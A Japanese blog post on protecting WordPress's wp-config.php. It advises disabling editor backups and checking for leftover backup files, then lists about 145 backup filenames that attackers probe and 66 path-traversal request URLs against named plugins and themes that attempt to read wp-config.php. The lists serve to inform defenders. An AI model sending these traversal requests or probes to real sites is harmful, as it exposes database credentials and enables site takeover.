アフィリエイト広告を利用しています

【ワードプレス】wp-config.phpが危険にさらされる理由とは?攻撃者の手口と対策法

レンタルサーバーでワードプレスを簡単にインストールできる一方で、データベースの接続設定など、重要な情報が含まれる「wp-config.php」ファイルも同時に作成されます。このファイルはワードプレスの心臓部であり、攻撃者が狙う主なターゲットの一つです。

https://ドメイン/wp-config.phpでアクセスすることができます。通常phpファイルへのアクセスは、出力が空っぽになります。

普通に運用している際、このwp-config.phpを意識することはありませんが、以下のような事象でwp-config.php編集するタイミングが発生することがあります。
  1. ワードプレスの動作がおかしい、デバックモードを有効に。WP_DEBUG
  2. 自動保存の間隔を長くしたい。AUTOSAVE_INTERVAL
  3. 投稿のリビジョンを制限したい。WP_POST_REVISIONS
  4. ワードプレス本体の自動更新をやめたい。AUTOMATIC_UPDATER_DISABLED

この編集操作が、セキュリティに穴を開ける可能性があります。

wp-config.phpにはデータベース情報や重要な設定が含まれているため、もし攻撃者にこのファイルが盗まれると、サイトが完全に乗っ取られるリスクがあります。特にバックアップや一時ファイルが残っている場合、それらが攻撃者に利用されることがあります。

エディタで編集した際、自動で保存されるバックアップファイルが狙われています。


vim、emacs等のエディタは編集する前の状態を保存する仕組みがあります。
また、自分で編集する際、以前のファイルをバックアップして残して置くこともよくあります。

被害に遭わないように、求められる対策は3点です。

1) エディタのバックアップ機能をOFFにする。


エディタ(vimやemacsなど)のバックアップ機能は、編集中のファイルを一時的に保存するためのものですが、これがセキュリティホールになる可能性があります。攻撃者はこれらのバックアップファイルを探し出し、サイトに侵入しようとするため、バックアップ機能は必ずOFFにしておきましょう。

素のviがおすすめです。ただレンタルサーバーの環境によってはvimにリンクされている場合もあるので油断禁物

2) バックアップファイルは必ず「.php」を付けて保存する。


自分でバックアップファイルを作る際はファイル名の最後に.phpをつけます。
直接アクセスされてもphpとして動作するので、空っぽの出力になります。

3) ファイルの変更後、サーバー上に不要なバックアップが残っていないか確認する(ls -ltrコマンドを使用)。


編集後、ls -ltr で更新された日付順に並べてバックアップファイルがないか、目視するのもおすすめです。
tr指定で日付の古いもの順に並べられます。ターミナルに出力された最後の方が新しいファイルです。

攻撃者が探しているバックアップファイル名とは


例えば、以下のようなパスで攻撃者はwp-config.phpのバックアップやコピーを探します。
「/wp-config.php.bak」「/wp-config.php.old」「/wp-config.php_1」など、数多くのバリエーションが確認されています。


  1. /wp-config.php~
  2. /wp-config.php.bak
  3. /wp-config.php.save
  4. /wp-config.php.old
  5. /wp-config.phpe
  6. /wp-config.php_old
  7. /wp-config.phpOLD
  8. /wp-config.php_
  9. /wp-config.php1
  10. /wp-config.php.backup
  11. /wp-config.php.org
  12. /wp-config.php-old
  13. /wp-config.old
  14. /wp-config.php.orig
  15. /wp-config.php_bak
  16. /wp-config.bak
  17. /wp-config.php.bk
  18. /wp-config.php2
  19. /wp-config.txt
  20. /wp-config.php.bkp
  21. /wp-config.php-bak
  22. /wp-config.php_orig
  23. /wp-config.orig
  24. /wp-config.php.txt
  25. /wp-config.php_bk
  26. /wp-config.php__
  27. /wp-config.php_original
  28. /wp-config.php_backup
  29. /wp-config.php-original
  30. /wp-config.php.original
  31. /wp-config.php-
  32. /wp-config.php-backup
  33. /wp-config.backup
  34. /wp-config.php.new
  35. /wp-config.php.save.1
  36. /wp-config.php.dist
  37. /wp-config.php0
  38. /wp-config.phpbak
  39. /wp-config.php.1
  40. /wp-config-sample.php~
  41. /wp-config.php.resetwp_bak
  42. /wp-config.php_1
  43. /wp-config.php_new
  44. /wp-config.phpn
  45. /wp-config.bkp
  46. /wp-config.php.local
  47. /wp-config.php.dev
  48. /wp-config-backup
  49. /wp-config.org
  50. /wp-config.php.
  51. /wp-config.phpr
  52. /wp-config.php.disabled
  53. /wp-config-backup.txt
  54. /wp-config.back
  55. /wp-config-sample.php.bak
  56. /wp-config.bk
  57. /wp-config.new
  58. /wp-config.php.copy
  59. /wp-config.php_copy
  60. /wp-config.php.sample
  61. /wp-config-sample.php
  62. /wp-config.php3
  63. /wp-config.phpd
  64. /wp-config.php.prod
  65. /wp-config.save
  66. /wp-config.php.sav
  67. /wp-config.phpnew
  68. /wp-config.original
  69. /wp-config.php.b
  70. /wp-config.php-save
  71. /wp-config.php.2
  72. /wp-config.php.bak1
  73. /wp-config.php.0
  74. /wp-config.php.in
  75. /wp-config.php%23
  76. //wp-config.php~
  77. /wp-config.sav
  78. /wp-config.php.tmp
  79. /wp-config.php~~
  80. /wp-config.php_bak/wp-config.php-bak
  81. /.wp-config.php.old
  82. /.wp-config.bak
  83. /wp-config.phpa
  84. /wp-config.local
  85. /wp-config_backup
  86. /wp-config.phps
  87. /wp-config.phpb
  88. /wp-config.php.production
  89. /wp-config.php.gz
  90. /wordpress/wp-config.php~
  91. /wp-config.phporiginal
  92. /wp-config.php=
  93. /wp-config.copy
  94. /wp-config.dist
  95. /wp-config.php-o
  96. /wp-config.php.c
  97. /wp-config.php.bac
  98. /wp-config.tmp
  99. /wp-config.dev
  100. /wp-config.php.staging
  101. /wp-config.html
  102. /wp-config.htm
  103. /_wp-config
  104. /wp-config.php.temp
  105. /wp-config.
  106. /wp-config.phpo
  107. /wp-config_copy
  108. /blog/wp-config.php.bak
  109. /wp-config.1
  110. /blog/wp-config.php~
  111. /wp-config.php.tar
  112. /wp-config.sample
  113. /wordpress/wp-config.php.bak
  114. /wp-config.php.tar.gz
  115. /wp-config.php_tmp
  116. /wp-config.prod
  117. /_wp-config.php.bak
  118. /wp-config.php.backup.txt
  119. /wp-config.php4
  120. /wp-config.php.cust
  121. /wp-config.bac
  122. /.wp-config.php.bak
  123. /_wp-config.php
  124. /wp-config.php__olds
  125. /wp-config-sample.bak
  126. /wp-config.php.a
  127. /wp-config.php.html
  128. /wp-config.php______
  129. /wp/wp-config.php~
  130. /wp-config~
  131. /wp-config.good
  132. /wp-config.php6
  133. /wp-config.php.stage
  134. /wp-config.zip
  135. /wp-config.2
  136. /wp-config.php.zip
  137. /wp/wp-config.php.bak
  138. /.wp-config.php.swp
  139. /wp-content/uploads/wp-config-backup.txt
  140. /wordpress/wp-config.php.backup
  141. /.wp-config
  142. /wp-config.php5
  143. /wp-config.php.aws
  144. /wp-config.bak1
  145. /wp-config.ini


とにかく最新の状態にしておく


バックアップファイルを直接取得と並行して、脆弱性をついて取得しようと試みている気配もあります。
以下、ワードプレス本体の他、プラグインやテーマの脆弱性を狙っていることがわかります。

  1. /?aam-media=wp-config.php
  2. /wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
  3. /wp-content/plugins/multi-plugin-installer/mpi_download.php?filepath=..%2F..%2F..%2F&filename=wp-config.php
  4. /wp-config.php?aam-media=1
  5. /wp-content/themes/mTheme-Unus/css/css.php?files=..%2F..%2F..%2F..%2Fwp-config.php
  6. /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=..%2F..%2F..%2Fwp-config.php
  7. /wp%E2%80%94admin/admin%E2%80%94ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php
  8. /?mdocs-img-preview=wp-config.php
  9. /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=..%2F..%2F..%2Fwp-config.php
  10. /wp-content/plugins/firestats/php/tools/get_config.php
  11. /wp-content/themes/authentic/includes/download.php?file=..%2F..%2F..%2F..%2Fwp-config.php
  12. /wp-content/themes/churchope/lib/downloadlink.php?file=..%2F..%2F..%2F..%2Fwp-config.php
  13. /wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=..%2F..%2F..%2F..%2Fwp-config.php
  14. /wp-content/plugins/google-document-embedder/libs/pdf.php?fn=lol.pdf&file=..%2F..%2F..%2F..%2Fwp-config.php
  15. /wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=%2Fwp-config.php
  16. /wp-content/plugins/db-backup/download.php?file=..%2F..%2F..%2Fwp-config.php
  17. /wp-content/themes/NativeChurch/download/download.php?file=..%2F..%2F..%2F..%2Fwp-config.php
  18. /wp-content/plugins/wp-filemanager/incl/libfile.php?&path=..%2F..%2F..%2F..%2F&filename=wp-config.php&action=download
  19. /wp-content/plugins/wp-filemanager/incl/libfile.php?path=..%2F..%2F..%2F..%2F&filename=wp-config.php&action=download
  20. /wp-content/themes/parallelus-mingle/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
  21. /wp-content/plugins/sf-booking/lib/downloads.php?file=%2Fwp-config.php
  22. /wp-content/plugins/site-import/admin/page.php?url=..%2F..%2F..%2F..%2Fwp-config.php
  23. /wp-content/plugins/recent-backups/download-file.php?file_link=..%2F..%2F..%2Fwp-config.php
  24. /wp-content/themes/u_parts/force-download.php?file=..%2F..%2F..%2Fwp-config.php
  25. /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=..%2F..%2F..%2F..%2Fwp-config.php
  26. /wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
  27. /wp-content/plugins/wp-miniaudioplayer/map_download.php?fileurl=..%2F..%2F..%2Fwp-config.php
  28. /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=..%2F..%2F..%2F..%2Fwp-config.php
  29. /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=..%2F..%2F..%2F..%2Fwp-config.php&file_size=10
  30. /wp-content/plugins/history-collection/download.php?var=..%2F..%2F..%2Fwp-config.php
  31. /wp-content/themes/fluidracountry/download.php?file=..%2F..%2F..%2Fwp-config.php
  32. /wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=..%2F..%2F..%2F..%2Fwp-config.php
  33. /wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=..%2F..%2F..%2Fwp-config.php
  34. /wp-content/plugins/old-post-spinner/logview.php?ops_file=..%2F..%2F..%2Fwp-config.php
  35. /wp-content/themes/responsive-visual/includes/download.php?file=..%2F..%2F..%2F..%2Fwp-config.php
  36. /wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=..%2F..%2F..%2F..%2Fwp-config.php
  37. /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php%3A%2F%2Ffilter%2Fresource%3D..%2F..%2F..%2F..%2Fwp-config.php
  38. /wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=...%2F.%2F...%2F.%2F...%2F.%2Fwp-config.php
  39. /wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
  40. /general.php?file=wp-config.php
  41. /wp-content/themes/storepress/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
  42. /wp-content/themes/rttheme18/download.php?download=..%2F..%2F..%2Fwp-config.php
  43. /wp-content/plugins/mac-dock-gallery/macdownload.php?albid=..%2F..%2F..%2Fwp-config.php
  44. /wp-content/themes/MusicMaker/download.php?file=..%2F..%2F..%2Fwp-config.php
  45. /wp-content/themes/ypo-theme/download.php?download=..%2F..%2F..%2F..%2Fwp-config.php
  46. /wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=..%2F..%2F..%2F..%2Fwp-config.php
  47. /wp-content/plugins/imdb-widget/pic.php?url=..%2F..%2F..%2Fwp-config.php
  48. /wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?name=wp-config.php&path=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
  49. /wp-content/plugins/zip-attachments/download.php?za_file=..%2F..%2F..%2Fwp-config.php
  50. /wp-content/themes/hello-elementor/down.php?path=..%2F..%2F..%2Fwp-config.php
  51. /wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php?requrl=..%2F..%2F..%2Fwp-config.php
  52. /wp-content/plugins/plugin-newsletter/preview.php?data=..%2F..%2F..%2F..%2Fwp-config.php
  53. /mdocs-posts/?mdocs-img-preview=..%2F..%2F..%2Fwp-config.php
  54. /wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=..%2F..%2F..%2F..%2Fwp-config.php
  55. /wp-content/themes/estrutura-basica/scripts/download.php?arquivo=..%2F..%2Fwp-config.php
  56. /wp-content/plugins/wp-publication-archive/includes/openfile.php?file=..%2F..%2F..%2F..%2Fwp-config.php
  57. /wp-content/themes/antioch/lib/scripts/download.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
  58. /wp-content/uploads/sb-download.php?file=..%2F..%2Fwp-config.php
  59. /wp-content/plugins/apptha-slider-gallery/asgallDownload.php?imgname=..%2F..%2F..%2Fwp-load.php
  60. /?mdocs-img-preview=..%2F..%2F..%2Fwp-config.php
  61. /wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=..%2F..%2F..%2F..%2F..%2Fwp-config.php
  62. /wp-content/themes/urbancity/lib/scripts/download.php?file=..%2F..%2F..%2F..%2F..%2Fwp-config.php
  63. /wp-content/themes/linenity/functions/download.php?imgurl=..%2F..%2F..%2F..%2Fwp-config.php
  64. /wp-content/themes/duena/download.php?f=..%2F..%2F..%2Fwp-config.php
  65. /wp-content/themes/PlixPro/download.php?file=..%2F..%2F..%2Fwp-config.php
  66. /wp-content/plugins/codecanyon-5293356-ajax-store-locator-wordpress/sl_file_download.php?download_file=..%2F..%2F..%2Fwp-config.php


まとめ


wp-config.phpを編集する際は、エディタのバックアップファイルの存在に注意してくださいね。
  1. エディタのバックアップ機能をOFFにする。
  2. バックアップファイルは必ず「.php」を付けて保存する。
  3. ファイルの変更後、サーバー上に不要なバックアップが残っていないか確認する(ls -ltrコマンドを使用)。


脆弱性をついたアクセスもご紹介しています。こちらは、ワードプレス本体を更新する(自動更新がおすすめ)ことが重要です。


利用者が多そうなメジャーなテーマ、プラグインを選んで、最新版に更新して使い続けることが安心に繋がります。



 

  • 初期費用0円(2022年8月4日に撤廃)
  • 安定したサイト運営が可能(CPU/メモリ リソース保証 6コア/8GB〜)
  • 契約中は独自ドメインつき 独自ドメイン永久無料特典があります
  • 最大10日間無料で、サーバーのお試し利用ができます
  • ディスクキャッシュも高速 NVMe SSDを採用(300GB〜)
  • 大量アクセスでも安心 転送量は無制限

 

 

この記事へのコメント
コメントを書く

お名前:

メールアドレス:


ホームページアドレス:

コメント:

※ブログオーナーが承認したコメントのみ表示されます。

この記事へのトラックバックURL
https://fanblogs.jp/tb/12737089
※ブログオーナーが承認したトラックバックのみ表示されます。

この記事へのトラックバック
最新記事
最新コメント
タグクラウド
カテゴリアーカイブ